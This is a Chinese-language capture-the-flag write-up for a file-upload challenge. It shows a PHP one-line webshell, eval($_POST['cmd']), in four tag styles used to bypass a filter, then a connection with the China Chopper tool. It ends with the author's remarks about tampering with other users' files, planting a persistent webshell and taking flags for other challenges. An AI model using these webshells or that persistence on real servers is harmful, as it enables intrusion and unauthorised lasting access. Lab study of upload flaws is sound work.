【fairy】实验吧——一道奇葩的上传题

题目链接:http://ctf3.shiyanbar.com/up/

我们先随便上传一个文件,可以直接上传,尝试着上传小马,

【fairy】实验吧——一道奇葩的上传题

【fairy】实验吧——一道奇葩的上传题

上传成功,发现上传成功,并且发现源码提示,看到源码就想到事情没有这么简单,查看上传的文件,果然,事情没有这么简单。

【fairy】实验吧——一道奇葩的上传题

它过滤了php的标记,emmmm,查看源码,发现过滤在这

【fairy】实验吧——一道奇葩的上传题

想着该怎么绕过过滤,没想出来,尝试了很多办法,都没有成功,最后在舍友的提示下,发现还有很多种php写法

1、xml风格

<?php

eval($_POST['cmd']);

 ?>

php推荐使用的标记风格。

服务器管理员无法禁用,所有服务器上均可使用该风格。

 

2、脚本风格

<script language="php">

    eval($_POST['cmd']);

</script>

默认开启,无法禁用

3、简短风格

<?

    eval($_POST['cmd']);

?>

此种风格需要在配置文件php.ini中启用short_open_tage选项

此种风格在许多环境中默认是不支持的

4、asp风格

<%

    eval($_POST['cmd']);

%>

此种风格需要在配置文件php.ini中启用asp_tag选项

在默认情况下是禁用的

 

看到第二种,简直美滋滋呀,构造小马

【fairy】实验吧——一道奇葩的上传题

上传,菜刀连接

【fairy】实验吧——一道奇葩的上传题

顺便看到好多人上传的文件,可以搅屎呀,在这个目录下,所有文件定时清楚一次,想着在其他目录上传一个小马,就可以一直连上去了。

差点忘了找flag,在目录下找到flag文件,获取flag为flag{hahahahahahahaha}

同时还在web目录下发现了其他的题,以及其他题的flag